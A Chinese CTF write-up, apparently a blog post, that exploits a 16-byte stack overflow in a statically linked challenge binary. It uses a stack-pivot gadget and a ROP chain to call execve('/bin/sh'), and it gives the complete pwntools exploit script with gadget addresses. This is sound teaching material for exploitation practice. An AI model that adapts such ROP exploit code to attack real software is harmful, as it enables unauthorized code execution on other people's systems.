pwn --rop

rop练习—Very Secure System

rop 真爽。。

题目链接:http://pan.baidu.com/s/1eSd0XTg
注:.bak是原题,原题有个过10s自动退出程序的设置,不好调试,我用ida打了个patch,就是另一个文件,两个文件只有这一个区别

漏洞分析:

这个程序是静态加载的,所以got表没有用,顺带dynelf也不行,也没提供libc。但是有一个函数可以溢出,但是只溢出了16字节,刚好可以覆盖rbp和ret的地址。
虽然有溢出点的函数没有充足的栈空间供我们构造rop链,但是由于子函数和main函数的栈是连接的,且main函数中有一个1024字节的占空间供我们使用,所以我们可以考虑用

add rsp,0x58
ret

这样的gadget来让esp指向mian函数中的那个1024字节的栈空间中,从而执行我们预先设置的rop链。所以我们需要在程序代码段中寻找一些gadget来进行rop攻击。

寻找gadget的两种方法(前提是装了rooper或者pwntools):

ropper -f vss | grep "gadget you need"

ROPgadget --binary vss | grep "gadget you need"

下面是利用代码:

    from pwn import *
    add_esp_0x58 = 0x046f205  # bigger than 0x50 to exec other gadget preset on stack
    pop_rdi = 0x0401823
    pop_rdx = 0x043ae05
    pop_rsi = 0x0401937
    pop_rax = 0x046f208
    pop_rcx = 0x0462873
    bss_w =0x0006C5C80
    syscall = 0x045f2a5
    mov_rdi_rcx = 0x42AB0B    #hard to find
    binsh = "/bin/sh\x00"
    payload = ""
    payload += "py"
    payload += "b" * (0x48 - 2)
    payload += p64(add_esp_0x58)
    payload += "a" * (0x58 - 0x50)
    payload += p64(pop_rax)
    payload += p64(59)
    payload += p64(pop_rdi)
    payload += p64(bss_w)
    payload += p64(pop_rcx)
    payload += binsh
    payload += p64(mov_rdi_rcx)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(pop_rdx)
    payload += p64(0)
    payload += p64(syscall)

    io = process("./vss")
    print io.recv()
    io.send(payload)
    io.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值